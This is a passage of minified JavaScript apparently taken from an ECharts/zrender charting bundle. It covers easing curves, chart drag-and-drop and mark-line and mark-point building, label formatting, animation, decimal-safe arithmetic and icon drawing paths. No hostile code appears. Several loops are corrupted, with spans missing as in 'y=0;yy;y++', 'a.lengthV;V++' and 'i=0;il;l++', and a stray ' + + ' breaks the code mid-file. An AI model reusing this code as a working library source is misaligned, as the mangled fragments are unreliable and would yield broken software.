1===e?1:1-Math.pow(2,-10*e)},ExponentialInOut:function(e){return 0===e?0:1===e?1:(e*=2)<1?.5*Math.pow(1024,e-1):.5*(-Math.pow(2,-10*(e-1))+2)},CircularIn:function(e){return 1-Math.sqrt(1-e*e)},CircularOut:function(e){return Math.sqrt(1- --e*e)},CircularInOut:function(e){return(e*=2)<1?-.5*(Math.sqrt(1-e*e)-1):.5*(Math.sqrt(1-(e-=2)*e)+1)},ElasticIn:function(e){var t,i=.1,n=.4;return 0===e?0:1===e?1:(!i||1>i?(i=1,t=n/4):t=n*Math.asin(1/i)/(2*Math.PI),-(i*Math.pow(2,10*(e-=1))*Math.sin(2*(e-t)*Math.PI/n)))},ElasticOut:function(e){var t,i=.1,n=.4;return 0===e?0:1===e?1:(!i||1>i?(i=1,t=n/4):t=n*Math.asin(1/i)/(2*Math.PI),i*Math.pow(2,-10*e)*Math.sin(2*(e-t)*Math.PI/n)+1)},ElasticInOut:function(e){var t,i=.1,n=.4;return 0===e?0:1===e?1:(!i||1>i?(i=1,t=n/4):t=n*Math.asin(1/i)/(2*Math.PI),(e*=2)<1?-.5*i*Math.pow(2,10*(e-=1))*Math.sin(2*(e-t)*Math.PI/n):i*Math.pow(2,-10*(e-=1))*Math.sin(2*(e-t)*Math.PI/n)*.5+1)},BackIn:function(e){var t=1.70158;return e*e*((t+1)*e-t)},BackOut:function(e){var t=1.70158;return--e*e*((t+1)*e+t)+1},BackInOut:function(e){var t=2.5949095;return(e*=2)<1?.5*e*e*((t+1)*e-t):.5*((e-=2)*e*((t+1)*e+t)+2)},BounceIn:function(t){return 1-e.BounceOut(1-t)},BounceOut:function(e){return 1/2.75>e?7.5625*e*e:2/2.75>e?7.5625*(e-=1.5/2.75)*e+.75:2.5/2.75>e?7.5625*(e-=2.25/2.75)*e+.9375:7.5625*(e-=2.625/2.75)*e+.984375},BounceInOut:function(t){return.5>t?.5*e.BounceIn(2*t):.5*e.BounceOut(2*t-1)+.5}};return e}),i("echarts/chart/base",["require","zrender/shape/Image","../util/shape/Icon","../util/shape/MarkLine","../util/shape/Symbol","zrender/shape/Polyline","zrender/shape/ShapeBundle","../config","../util/ecData","../util/ecAnimation","../util/ecEffect","../util/accMath","../component/base","../layout/EdgeBundling","zrender/tool/util","zrender/tool/area"],function(e){function t(e){return null!=e.x&&null!=e.y}function i(e,t,i,n,a){p.call(this,e,t,i,n,a);var o=this;this.selectedMap={},this.lastShapeList=[],this.shapeHandler={onclick:function(){o.isClick=!0},ondragover:function(e){var t=e.target;t.highlightStyle=t.highlightStyle||{};var i=t.highlightStyle,n=i.brushTyep,a=i.strokeColor,r=i.lineWidth;i.brushType="stroke",i.strokeColor=o.ecTheme.calculableColor||h.calculableColor,i.lineWidth="icon"===t.type?30:10,o.zr.addHoverShape(t),setTimeout(function(){i&&(i.brushType=n,i.strokeColor=a,i.lineWidth=r)},20)},ondrop:function(e){null!=m.get(e.dragged,"data")&&(o.isDrop=!0)},ondragend:function(){o.isDragend=!0}}}var n=e("zrender/shape/Image"),a=e("../util/shape/Icon"),o=e("../util/shape/MarkLine"),r=e("../util/shape/Symbol"),s=e("zrender/shape/Polyline"),l=e("zrender/shape/ShapeBundle"),h=e("../config"),m=e("../util/ecData"),V=e("../util/ecAnimation"),U=e("../util/ecEffect"),d=e("../util/accMath"),p=e("../component/base"),c=e("../layout/EdgeBundling"),u=e("zrender/tool/util"),y=e("zrender/tool/area");return i.prototype={setCalculable:function(e){return e.dragEnableTime=this.ecTheme.DRAG_ENABLE_TIME||h.DRAG_ENABLE_TIME,e.ondragover=this.shapeHandler.ondragover,e.ondragend=this.shapeHandler.ondragend,e.ondrop=this.shapeHandler.ondrop,e},ondrop:function(e,t){if(this.isDrop&&e.target&&!t.dragIn){var i,n=e.target,a=e.dragged,o=m.get(n,"seriesIndex"),r=m.get(n,"dataIndex"),s=this.series,l=this.component.legend;if(-1===r){if(m.get(a,"seriesIndex")==o)return t.dragOut=t.dragIn=t.needRefresh=!0,void(this.isDrop=!1);i={value:m.get(a,"value"),name:m.get(a,"name")},this.type===h.CHART_TYPE_PIE&&i.value<0&&(i.value=0);for(var V=!1,U=s[o].data,p=0,c=U.length;c>p;p++)U[p].name===i.name&&"-"===U[p].value&&(s[o].data[p].value=i.value,V=!0);!V&&s[o].data.push(i),l&&l.add(i.name,a.style.color||a.style.strokeColor)}else i=s[o].data[r]||"-",null!=i.value?(s[o].data[r].value="-"!=i.value?d.accAdd(s[o].data[r].value,m.get(a,"value")):m.get(a,"value"),(this.type===h.CHART_TYPE_FUNNEL||this.type===h.CHART_TYPE_PIE)&&(l&&1===l.getRelatedAmount(i.name)&&this.component.legend.del(i.name),i.name+=this.option.nameConnector+m.get(a,"name"),l&&l.add(i.name,a.style.color||a.style.strokeColor))):s[o].data[r]="-"!=i?d.accAdd(s[o].data[r],m.get(a,"value")):m.get(a,"value");t.dragIn=t.dragIn||!0,this.isDrop=!1;var u=this;setTimeout(function(){u.zr.trigger("mousemove",e.event)},300)}},ondragend:function(e,t){if(this.isDragend&&e.target&&!t.dragOut){var i=e.target,n=m.get(i,"seriesIndex"),a=m.get(i,"dataIndex"),o=this.series;if(null!=o[n].data[a].value){o[n].data[a].value="-";var r=o[n].data[a].name,s=this.component.legend;s&&0===s.getRelatedAmount(r)&&s.del(r)}else o[n].data[a]="-";t.dragOut=!0,t.needRefresh=!0,this.isDragend=!1}},onlegendSelected:function(e,t){var i=e.selected;for(var n in this.selectedMap)this.selectedMap[n]!=i[n]&&(t.needRefresh=!0),this.selectedMap[n]=i[n]},_buildPosition:function(){this._symbol=this.option.symbolList,this._sIndex2ShapeMap={},this._sIndex2ColorMap={},this.selectedMap={},this.xMarkMap={};for(var e,t,i,n,a=this.series,o={top:[],bottom:[],left:[],right:[],other:[]},r=0,s=a.length;s>r;r++)a[r].type===this.type&&(a[r]=this.reformOption(a[r]),this.legendHoverLink=a[r].legendHoverLink||this.legendHoverLink,e=a[r].xAxisIndex,t=a[r].yAxisIndex,i=this.component.xAxis.getAxis(e),n=this.component.yAxis.getAxis(t),i.type===h.COMPONENT_TYPE_AXIS_CATEGORY?o[i.getPosition()].push(r):n.type===h.COMPONENT_TYPE_AXIS_CATEGORY?o[n.getPosition()].push(r):o.other.push(r));for(var l in o)o[l].length>0&&this._buildSinglePosition(l,o[l]);this.addShapeList()},_buildSinglePosition:function(e,t){var i=this._mapData(t),n=i.locationMap,a=i.maxDataLength;if(0!==a&&0!==n.length){switch(e){case"bottom":case"top":this._buildHorizontal(t,a,n,this.xMarkMap);break;case"left":case"right":this._buildVertical(t,a,n,this.xMarkMap);break;case"other":this._buildOther(t,a,n,this.xMarkMap)}for(var o=0,r=t.length;r>o;o++)this.buildMark(t[o])}},_mapData:function(e){for(var t,i,n,a,o=this.series,r=0,s={},l="__kener__stack__",m=this.component.legend,V=[],U=0,d=0,p=e.length;p>d;d++){if(t=o[e[d]],n=t.name,this._sIndex2ShapeMap[e[d]]=this._sIndex2ShapeMap[e[d]]||this.query(t,"symbol")||this._symbol[d%this._symbol.length],m){if(this.selectedMap[n]=m.isSelected(n),this._sIndex2ColorMap[e[d]]=m.getColor(n),a=m.getItemShape(n)){var c=a.style;if(this.type==h.CHART_TYPE_LINE)c.iconType="legendLineIcon",c.symbol=this._sIndex2ShapeMap[e[d]];else if(t.itemStyle.normal.barBorderWidth>0){var u=a.highlightStyle;c.brushType="both",c.x+=1,c.y+=1,c.width-=2,c.height-=2,c.strokeColor=u.strokeColor=t.itemStyle.normal.barBorderColor,u.lineWidth=3}m.setItemShape(n,a)}}else this.selectedMap[n]=!0,this._sIndex2ColorMap[e[d]]=this.zr.getColor(e[d]);this.selectedMap[n]&&(i=t.stack||l+e[d],null==s[i]?(s[i]=r,V[r]=[e[d]],r++):V[s[i]].push(e[d])),U=Math.max(U,t.data.length)}return{locationMap:V,maxDataLength:U}},_calculMarkMapXY:function(e,t,i){for(var n=this.series,a=0,o=t.length;o>a;a++)for(var r=0,s=t[a].length;s>r;r++){var l=t[a][r],h="xy"==i?0:"",m=this.component.grid,V=e[l];if("-1"!=i.indexOf("x")){V["counter"+h]>0&&(V["average"+h]=V["sum"+h]/V["counter"+h]);var U=this.component.xAxis.getAxis(n[l].xAxisIndex||0).getCoord(V["average"+h]);V["averageLine"+h]=[[U,m.getYend()],[U,m.getY()]],V["minLine"+h]=[[V["minX"+h],m.getYend()],[V["minX"+h],m.getY()]],V["maxLine"+h]=[[V["maxX"+h],m.getYend()],[V["maxX"+h],m.getY()]],V.isHorizontal=!1}if(h="xy"==i?1:"","-1"!=i.indexOf("y")){V["counter"+h]>0&&(V["average"+h]=V["sum"+h]/V["counter"+h]);var d=this.component.yAxis.getAxis(n[l].yAxisIndex||0).getCoord(V["average"+h]);V["averageLine"+h]=[[m.getX(),d],[m.getXend(),d]],V["minLine"+h]=[[m.getX(),V["minY"+h]],[m.getXend(),V["minY"+h]]],V["maxLine"+h]=[[m.getX(),V["maxY"+h]],[m.getXend(),V["maxY"+h]]],V.isHorizontal=!0}}},addLabel:function(e,t,i,n,a){var o=[i,t],r=this.deepMerge(o,"itemStyle.normal.label"),s=this.deepMerge(o,"itemStyle.emphasis.label"),l=r.textStyle||{},h=s.textStyle||{}; + +if(r.show){var m=e.style;m.text=this._getLabelText(t,i,n,"normal"),m.textPosition=null==r.position?"horizontal"===a?"right":"top":r.position,m.textColor=l.color,m.textFont=this.getFont(l),m.textAlign=l.align,m.textBaseline=l.baseline}if(s.show){var V=e.highlightStyle;V.text=this._getLabelText(t,i,n,"emphasis"),V.textPosition=r.show?e.style.textPosition:null==s.position?"horizontal"===a?"right":"top":s.position,V.textColor=h.color,V.textFont=this.getFont(h),V.textAlign=h.align,V.textBaseline=h.baseline}return e},_getLabelText:function(e,t,i,n){var a=this.deepQuery([t,e],"itemStyle."+n+".label.formatter");a||"emphasis"!==n||(a=this.deepQuery([t,e],"itemStyle.normal.label.formatter"));var o=this.getDataFromOption(t,"-");return a?"function"==typeof a?a.call(this.myChart,{seriesName:e.name,series:e,name:i,value:o,data:t,status:n}):"string"==typeof a?a=a.replace("{a}","{a0}").replace("{b}","{b0}").replace("{c}","{c0}").replace("{a0}",e.name).replace("{b0}",i).replace("{c0}",this.numAddCommas(o)):void 0:o instanceof Array?null!=o[2]?this.numAddCommas(o[2]):o[0]+" , "+o[1]:this.numAddCommas(o)},buildMark:function(e){var t=this.series[e];this.selectedMap[t.name]&&(t.markLine&&this._buildMarkLine(e),t.markPoint&&this._buildMarkPoint(e))},_buildMarkPoint:function(e){for(var t,i,n=(this.markAttachStyle||{})[e],a=this.series[e],o=u.clone(a.markPoint),r=0,s=o.data.length;s>r;r++)t=o.data[r],i=this.getMarkCoord(e,t),t.x=null!=t.x?t.x:i[0],t.y=null!=t.y?t.y:i[1],!t.type||"max"!==t.type&&"min"!==t.type||(t.value=i[3],t.name=t.name||t.type,t.symbolSize=t.symbolSize||y.getTextWidth(i[3],this.getFont())/2+5);for(var l=this._markPoint(e,o),r=0,s=l.length;s>r;r++){var m=l[r];m.zlevel=a.zlevel,m.z=a.z+1;for(var V in n)m[V]=u.clone(n[V]);this.shapeList.push(m)}if(this.type===h.CHART_TYPE_FORCE||this.type===h.CHART_TYPE_CHORD)for(var r=0,s=l.length;s>r;r++)this.zr.addShape(l[r])},_buildMarkLine:function(e){for(var t,i=(this.markAttachStyle||{})[e],n=this.series[e],a=u.clone(n.markLine),o=0,r=a.data.length;r>o;o++){var s=a.data[o];!s.type||"max"!==s.type&&"min"!==s.type&&"average"!==s.type?t=[this.getMarkCoord(e,s[0]),this.getMarkCoord(e,s[1])]:(t=this.getMarkCoord(e,s),a.data[o]=[u.clone(s),{}],a.data[o][0].name=s.name||s.type,a.data[o][0].value="average"!==s.type?t[3]:+t[3].toFixed(null!=a.precision?a.precision:this.deepQuery([this.ecTheme,h],"markLine.precision")),t=t[2],s=[{},{}]),null!=t&&null!=t[0]&&null!=t[1]&&(a.data[o][0].x=null!=s[0].x?s[0].x:t[0][0],a.data[o][0].y=null!=s[0].y?s[0].y:t[0][1],a.data[o][1].x=null!=s[1].x?s[1].x:t[1][0],a.data[o][1].y=null!=s[1].y?s[1].y:t[1][1])}var m=this._markLine(e,a),V=a.large;if(V){var U=new l({style:{shapeList:m}}),d=m[0];if(d){u.merge(U.style,d.style),u.merge(U.highlightStyle={},d.highlightStyle),U.style.brushType="stroke",U.zlevel=n.zlevel,U.z=n.z+1,U.hoverable=!1;for(var p in i)U[p]=u.clone(i[p])}this.shapeList.push(U),this.zr.addShape(U),U._mark="largeLine";var c=a.effect;c.show&&(U.effect=c)}else{for(var o=0,r=m.length;r>o;o++){var y=m[o];y.zlevel=n.zlevel,y.z=n.z+1;for(var p in i)y[p]=u.clone(i[p]);this.shapeList.push(y)}if(this.type===h.CHART_TYPE_FORCE||this.type===h.CHART_TYPE_CHORD)for(var o=0,r=m.length;r>o;o++)this.zr.addShape(m[o])}},_markPoint:function(e,t){var i=this.series[e],n=this.component;u.merge(u.merge(t,u.clone(this.ecTheme.markPoint||{})),u.clone(h.markPoint)),t.name=i.name;var a,o,r,s,l,V,U,d=[],p=t.data,c=n.dataRange,y=n.legend,g=this.zr.getWidth(),b=this.zr.getHeight();if(t.large)a=this.getLargeMarkPointShape(e,t),a._mark="largePoint",a&&d.push(a);else for(var f=0,k=p.length;k>f;f++)null!=p[f].x&&null!=p[f].y&&(r=null!=p[f].value?p[f].value:"",y&&(o=y.getColor(i.name)),c&&(o=isNaN(r)?o:c.getColor(r),s=[p[f],t],l=this.deepQuery(s,"itemStyle.normal.color")||o,V=this.deepQuery(s,"itemStyle.emphasis.color")||l,null==l&&null==V)||(o=null==o?this.zr.getColor(e):o,p[f].tooltip=p[f].tooltip||t.tooltip||{trigger:"item"},p[f].name=null!=p[f].name?p[f].name:"",p[f].value=r,a=this.getSymbolShape(t,e,p[f],f,p[f].name,this.parsePercent(p[f].x,g),this.parsePercent(p[f].y,b),"pin",o,"rgba(0,0,0,0)","horizontal"),a._mark="point",U=this.deepMerge([p[f],t],"effect"),U.show&&(a.effect=U),i.type===h.CHART_TYPE_MAP&&(a._geo=this.getMarkGeo(p[f])),m.pack(a,i,e,p[f],f,p[f].name,r),d.push(a)));return d},_markLine:function(){function e(e,t){e[t]=e[t]instanceof Array?e[t].length>1?e[t]:[e[t][0],e[t][0]]:[e[t],e[t]]}return function(i,n){var a=this.series[i],o=this.component,r=o.dataRange,s=o.legend;u.merge(u.merge(n,u.clone(this.ecTheme.markLine||{})),u.clone(h.markLine));var l=s?s.getColor(a.name):this.zr.getColor(i);e(n,"symbol"),e(n,"symbolSize"),e(n,"symbolRotate");for(var V=n.data,U=[],d=this.zr.getWidth(),p=this.zr.getHeight(),y=0;yy;y++){var K=U[y],I=K.rawEdge||K,g=I.rawData,x=null!=g.value?g.value:"",J=this.getMarkLineShape(n,i,g,y,K.points,W,I.color);J._mark="line";var C=this.deepMerge([g[0],g[1],n],"effect");C.show&&(J.effect=C,J.effect.large=n.large),a.type===h.CHART_TYPE_MAP&&(J._geo=[this.getMarkGeo(g[0]),this.getMarkGeo(g[1])]),m.pack(J,a,i,g[0],y,g[0].name+(""!==g[1].name?" > "+g[1].name:""),x),v.push(J)}return v}}(),getMarkCoord:function(){return[0,0]},getSymbolShape:function(e,t,i,o,r,s,l,h,V,U,d){var p=[i,e],c=this.getDataFromOption(i,"-");h=this.deepQuery(p,"symbol")||h;var u=this.deepQuery(p,"symbolSize");u="function"==typeof u?u(c):u,"number"==typeof u&&(u=[u,u]);var y=this.deepQuery(p,"symbolRotate"),g=this.deepMerge(p,"itemStyle.normal"),b=this.deepMerge(p,"itemStyle.emphasis"),f=null!=g.borderWidth?g.borderWidth:g.lineStyle&&g.lineStyle.width;null==f&&(f=h.match("empty")?2:0);var k=null!=b.borderWidth?b.borderWidth:b.lineStyle&&b.lineStyle.width;null==k&&(k=f+2);var x=this.getItemStyleColor(g.color,t,o,i),_=this.getItemStyleColor(b.color,t,o,i),L=u[0],W=u[1],X=new a({style:{iconType:h.replace("empty","").toLowerCase(),x:s-L,y:l-W,width:2*L,height:2*W,brushType:"both",color:h.match("empty")?U:x||V,strokeColor:g.borderColor||x||V,lineWidth:f},highlightStyle:{color:h.match("empty")?U:_||x||V,strokeColor:b.borderColor||g.borderColor||_||x||V,lineWidth:k},clickable:this.deepQuery(p,"clickable")});return h.match("image")&&(X.style.image=h.replace(new RegExp("^image:\\/\\/"),""),X=new n({style:X.style,highlightStyle:X.highlightStyle,clickable:this.deepQuery(p,"clickable")})),null!=y&&(X.rotation=[y*Math.PI/180,s,l]),h.match("star")&&(X.style.iconType="star",X.style.n=h.replace("empty","").replace("star","")-0||5),"none"===h&&(X.invisible=!0,X.hoverable=!1),X=this.addLabel(X,e,i,r,d),h.match("empty")&&(null==X.style.textColor&&(X.style.textColor=X.style.strokeColor),null==X.highlightStyle.textColor&&(X.highlightStyle.textColor=X.highlightStyle.strokeColor)),m.pack(X,e,t,i,o,r),X._x=s,X._y=l,X._dataIndex=o,X._seriesIndex=t,X},getMarkLineShape:function(e,t,i,n,a,r,l){var h=null!=i[0].value?i[0].value:"-",m=null!=i[1].value?i[1].value:"-",V=[i[0].symbol||e.symbol[0],i[1].symbol||e.symbol[1]],U=[i[0].symbolSize||e.symbolSize[0],i[1].symbolSize||e.symbolSize[1]];U[0]="function"==typeof U[0]?U[0](h):U[0],U[1]="function"==typeof U[1]?U[1](m):U[1];var d=[this.query(i[0],"symbolRotate")||e.symbolRotate[0],this.query(i[1],"symbolRotate")||e.symbolRotate[1]],p=[i[0],i[1],e],c=this.deepMerge(p,"itemStyle.normal");c.color=this.getItemStyleColor(c.color,t,n,i);var u=this.deepMerge(p,"itemStyle.emphasis");u.color=this.getItemStyleColor(u.color,t,n,i);var y=c.lineStyle,g=u.lineStyle,b=y.width;null==b&&(b=c.borderWidth);var f=g.width;null==f&&(f=null!=u.borderWidth?u.borderWidth:b+2);var k=this.deepQuery(p,"smoothness");this.deepQuery(p,"smooth")||(k=0);var x=r?s:o,_=new x({style:{symbol:V,symbolSize:U,symbolRotate:d,brushType:"both",lineType:y.type,shadowColor:y.shadowColor||y.color||c.borderColor||c.color||l,shadowBlur:y.shadowBlur,shadowOffsetX:y.shadowOffsetX,shadowOffsetY:y.shadowOffsetY,color:c.color||l,strokeColor:y.color||c.borderColor||c.color||l,lineWidth:b,symbolBorderColor:c.borderColor||c.color||l,symbolBorder:c.borderWidth},highlightStyle:{shadowColor:g.shadowColor,shadowBlur:g.shadowBlur,shadowOffsetX:g.shadowOffsetX,shadowOffsetY:g.shadowOffsetY,color:u.color||c.color||l,strokeColor:g.color||y.color||u.borderColor||c.borderColor||u.color||c.color||l,lineWidth:f,symbolBorderColor:u.borderColor||c.borderColor||u.color||c.color||l,symbolBorder:null==u.borderWidth?c.borderWidth+2:u.borderWidth},clickable:this.deepQuery(p,"clickable")}),L=_.style;return r?(L.pointList=a,L.smooth=k):(L.xStart=a[0][0],L.yStart=a[0][1],L.xEnd=a[1][0],L.yEnd=a[1][1],L.curveness=k,_.updatePoints(_.style)),_=this.addLabel(_,e,i[0],i[0].name+" : "+i[1].name)},getLargeMarkPointShape:function(e,t){var i,n,a,o,s,l,h=this.series[e],m=this.component,V=t.data,U=m.dataRange,d=m.legend,p=[V[0],t];if(d&&(n=d.getColor(h.name)),!U||(a=null!=V[0].value?V[0].value:"",n=isNaN(a)?n:U.getColor(a),o=this.deepQuery(p,"itemStyle.normal.color")||n,s=this.deepQuery(p,"itemStyle.emphasis.color")||o,null!=o||null!=s)){n=this.deepMerge(p,"itemStyle.normal").color||n;var c=this.deepQuery(p,"symbol")||"circle";c=c.replace("empty","").replace(/\d/g,""),l=this.deepMerge([V[0],t],"effect");var u=window.devicePixelRatio||1;return i=new r({style:{pointList:V,color:n,strokeColor:n,shadowColor:l.shadowColor||n,shadowBlur:(null!=l.shadowBlur?l.shadowBlur:8)*u,size:this.deepQuery(p,"symbolSize"),iconType:c,brushType:"fill",lineWidth:1},draggable:!1,hoverable:!1}),l.show&&(i.effect=l),i}},backupShapeList:function(){this.shapeList&&this.shapeList.length>0?(this.lastShapeList=this.shapeList,this.shapeList=[]):this.lastShapeList=[]},addShapeList:function(){var e,t,i=this.option.animationThreshold/(this.canvasSupported?2:4),n=this.lastShapeList,a=this.shapeList,o=n.length>0,r=o?this.query(this.option,"animationDurationUpdate"):this.query(this.option,"animationDuration"),s=this.query(this.option,"animationEasing"),l={},m={};if(this.option.animation&&!this.option.renderAsImage&&a.lengthV;V++)t=this._getAnimationKey(n[V]),t.match("undefined")?this.zr.delShape(n[V].id):(t+=n[V].type,l[t]?this.zr.delShape(n[V].id):l[t]=n[V]);for(var V=0,U=a.length;U>V;V++)t=this._getAnimationKey(a[V]),t.match("undefined")?this.zr.addShape(a[V]):(t+=a[V].type,m[t]=a[V]);for(t in l)m[t]||this.zr.delShape(l[t].id);for(t in m)l[t]?(this.zr.delShape(l[t].id),this._animateMod(l[t],m[t],r,s,0,o)):(e=this.type!=h.CHART_TYPE_LINE&&this.type!=h.CHART_TYPE_RADAR||0===t.indexOf("icon")?0:r/2,this._animateMod(!1,m[t],r,s,e,o));this.zr.refresh(),this.animationEffect()}else{this.motionlessOnce=!1,this.zr.delShape(n);for(var V=0,U=a.length;U>V;V++)this.zr.addShape(a[V])}},_getAnimationKey:function(e){return this.type!=h.CHART_TYPE_MAP&&this.type!=h.CHART_TYPE_TREEMAP&&this.type!=h.CHART_TYPE_VENN&&this.type!=h.CHART_TYPE_TREE?m.get(e,"seriesIndex")+"_"+m.get(e,"dataIndex")+(e._mark?e._mark:"")+(this.type===h.CHART_TYPE_RADAR?m.get(e,"special"):""):m.get(e,"seriesIndex")+"_"+m.get(e,"dataIndex")+(e._mark?e._mark:"undefined")},_animateMod:function(e,t,i,n,a,o){switch(t.type){case"polyline":case"half-smooth-polygon":V.pointList(this.zr,e,t,i,n);break;case"rectangle":V.rectangle(this.zr,e,t,i,n);break;case"image":case"icon":V.icon(this.zr,e,t,i,n,a);break;case"candle":o?this.zr.addShape(t):V.candle(this.zr,e,t,i,n);break;case"ring":case"sector":case"circle":o?"sector"===t.type?V.sector(this.zr,e,t,i,n):this.zr.addShape(t):V.ring(this.zr,e,t,i+(m.get(t,"dataIndex")||0)%20*100,n);break;case"text":V.text(this.zr,e,t,i,n);break;case"polygon":o?V.pointList(this.zr,e,t,i,n):V.polygon(this.zr,e,t,i,n);break;case"ribbon":V.ribbon(this.zr,e,t,i,n);break;case"gauge-pointer":V.gaugePointer(this.zr,e,t,i,n);break;case"mark-line":V.markline(this.zr,e,t,i,n);break;case"bezier-curve":case"line":V.line(this.zr,e,t,i,n);break;default:this.zr.addShape(t)}},animationMark:function(e,t,i){for(var i=i||this.shapeList,n=0,a=i.length;a>n;n++)i[n]._mark&&this._animateMod(!1,i[n],e,t,0,!0);this.animationEffect(i)},animationEffect:function(e){if(!e&&this.clearEffectShape(),e=e||this.shapeList,null!=e){var t=h.EFFECT_ZLEVEL;this.canvasSupported&&this.zr.modLayer(t,{motionBlur:!0,lastFrameAlpha:this.option.effectBlendAlpha||h.effectBlendAlpha});for(var i,n=0,a=e.length;a>n;n++)i=e[n],i._mark&&i.effect&&i.effect.show&&U[i._mark]&&(U[i._mark](this.zr,this.effectList,i,t),this.effectList[this.effectList.length-1]._mark=i._mark)}},clearEffectShape:function(e){var t=this.effectList;if(this.zr&&t&&t.length>0){e&&this.zr.modLayer(h.EFFECT_ZLEVEL,{motionBlur:!1}),this.zr.delShape(t);for(var i=0;il;l++)this.zr.addShape(this.shapeList[l]);this.zr.refreshNextFrame()}n[i].data=r}},delMark:function(e,t,i){i=i.replace("mark","").replace("large","").toLowerCase();var n=this.series[e];if(this.selectedMap[n.name]){for(var a=!1,o=[this.shapeList,this.effectList],r=2;r--;)for(var s=0,l=o[r].length;l>s;s++)if(o[r][s]._mark==i&&m.get(o[r][s],"seriesIndex")==e&&m.get(o[r][s],"name")==t){this.zr.delShape(o[r][s].id),o[r].splice(s,1),a=!0;break}a&&this.zr.refreshNextFrame()}}},u.inherits(i,p),i}),i("zrender/shape/Circle",["require","./Base","../tool/util"],function(e){"use strict";var t=e("./Base"),i=function(e){t.call(this,e)};return i.prototype={type:"circle",buildPath:function(e,t){e.moveTo(t.x+t.r,t.y),e.arc(t.x,t.y,t.r,0,2*Math.PI,!0)},getRect:function(e){if(e.__rect)return e.__rect;var t;return t="stroke"==e.brushType||"fill"==e.brushType?e.lineWidth||1:0,e.__rect={x:Math.round(e.x-e.r-t/2),y:Math.round(e.y-e.r-t/2),width:2*e.r+t,height:2*e.r+t},e.__rect}},e("../tool/util").inherits(i,t),i}),i("echarts/util/accMath",[],function(){function e(e,t){var i=e.toString(),n=t.toString(),a=0;try{a=n.split(".")[1].length}catch(o){}try{a-=i.split(".")[1].length}catch(o){}return(i.replace(".","")-0)/(n.replace(".","")-0)*Math.pow(10,a)}function t(e,t){var i=e.toString(),n=t.toString(),a=0;try{a+=i.split(".")[1].length}catch(o){}try{a+=n.split(".")[1].length}catch(o){}return(i.replace(".","")-0)*(n.replace(".","")-0)/Math.pow(10,a)}function i(e,t){var i=0,n=0;try{i=e.toString().split(".")[1].length}catch(a){}try{n=t.toString().split(".")[1].length}catch(a){}var o=Math.pow(10,Math.max(i,n));return(Math.round(e*o)+Math.round(t*o))/o}function n(e,t){return i(e,-t)}return{accDiv:e,accMul:t,accAdd:i,accSub:n}}),i("echarts/util/shape/Icon",["require","zrender/tool/util","zrender/shape/Star","zrender/shape/Heart","zrender/shape/Droplet","zrender/shape/Image","zrender/shape/Base"],function(e){function t(e,t){var i=t.x,n=t.y,a=t.width/16,o=t.height/16;e.moveTo(i,n+t.height),e.lineTo(i+5*a,n+14*o),e.lineTo(i+t.width,n+3*o),e.lineTo(i+13*a,n),e.lineTo(i+2*a,n+11*o),e.lineTo(i,n+t.height),e.moveTo(i+6*a,n+10*o),e.lineTo(i+14*a,n+2*o),e.moveTo(i+10*a,n+13*o),e.lineTo(i+t.width,n+13*o),e.moveTo(i+13*a,n+10*o),e.lineTo(i+13*a,n+t.height)}function i(e,t){var i=t.x,n=t.y,a=t.width/16,o=t.height/16;e.moveTo(i,n+t.height),e.lineTo(i+5*a,n+14*o),e.lineTo(i+t.width,n+3*o),e.lineTo(i+13*a,n),e.lineTo(i+2*a,n+11*o),e.lineTo(i,n+t.height),e.moveTo(i+6*a,n+10*o),e.lineTo(i+14*a,n+2*o),e.moveTo(i+10*a,n+13*o),e.lineTo(i+t.width,n+13*o)}function n(e,t){var i=t.x,n=t.y,a=t.width/16,o=t.height/16;e.moveTo(i+4*a,n+15*o),e.lineTo(i+9*a,n+13*o),e.lineTo(i+14*a,n+8*o),e.lineTo(i+11*a,n+5*o),e.lineTo(i+6*a,n+10*o),e.lineTo(i+4*a,n+15*o),e.moveTo(i+5*a,n),e.lineTo(i+11*a,n),e.moveTo(i+5*a,n+o),e.lineTo(i+11*a,n+o),e.moveTo(i,n+2*o),e.lineTo(i+t.width,n+2*o),e.moveTo(i,n+5*o),e.lineTo(i+3*a,n+t.height),e.lineTo(i+13*a,n+t.height),e.lineTo(i+t.width,n+5*o)}function a(e,t){var i=t.x,n=t.y,a=t.width/16,o=t.height/16;e.moveTo(i,n+3*o),e.lineTo(i+6*a,n+3*o),e.moveTo(i+3*a,n),e.lineTo(i+3*a,n+6*o),e.moveTo(i+3*a,n+8*o),e.lineTo(i+3*a,n+t.height),e.lineTo(i+t.width,n+t.height),e.lineTo(i+t.width,n+3*o),e.lineTo(i+8*a,n+3*o)}function o(e,t){var i=t.x,n=t.y,a=t.width/16,o=t.height/16;e.moveTo(i+6*a,n),e.lineTo(i+2*a,n+3*o),e.lineTo(i+6*a,n+6*o),e.moveTo(i+2*a,n+3*o),e.lineTo(i+14*a,n+3*o),e.lineTo(i+14*a,n+11*o),e.moveTo(i+2*a,n+5*o),e.lineTo(i+2*a,n+13*o),e.lineTo(i+14*a,n+13*o),e.moveTo(i+10*a,n+10*o),e.lineTo(i+14*a,n+13*o),e.lineTo(i+10*a,n+t.height)}function r(e,t){var i=t.x,n=t.y,a=t.width/16,o=t.height/16,r=t.width/2;e.lineWidth=1.5,e.arc(i+r,n+r,r-a,0,2*Math.PI/3),e.moveTo(i+3*a,n+t.height),e.lineTo(i+0*a,n+12*o),e.lineTo(i+5*a,n+11*o),e.moveTo(i,n+8*o),e.arc(i+r,n+r,r-a,Math.PI,5*Math.PI/3),e.moveTo(i+13*a,n),e.lineTo(i+t.width,n+4*o),e.lineTo(i+11*a,n+5*o)}function s(e,t){var i=t.x,n=t.y,a=t.width/16,o=t.height/16;e.moveTo(i,n),e.lineTo(i,n+t.height),e.lineTo(i+t.width,n+t.height),e.moveTo(i+2*a,n+14*o),e.lineTo(i+7*a,n+6*o),e.lineTo(i+11*a,n+11*o),e.lineTo(i+15*a,n+2*o)}function l(e,t){var i=t.x,n=t.y,a=t.width/16,o=t.height/16;e.moveTo(i,n),e.lineTo(i,n+t.height),e.lineTo(i+t.width,n+t.height),e.moveTo(i+3*a,n+14*o),e.lineTo(i+3*a,n+6*o),e.lineTo(i+4*a,n+6*o),e.lineTo(i+4*a,n+14*o),e.moveTo(i+7*a,n+14*o),e.lineTo(i+7*a,n+2*o),e.lineTo(i+8*a,n+2*o),e.lineTo(i+8*a,n+14*o),e.moveTo(i+11*a,n+14*o),e.lineTo(i+11*a,n+9*o),e.lineTo(i+12*a,n+9*o),e.lineTo(i+12*a,n+14*o)}function h(e,t){var 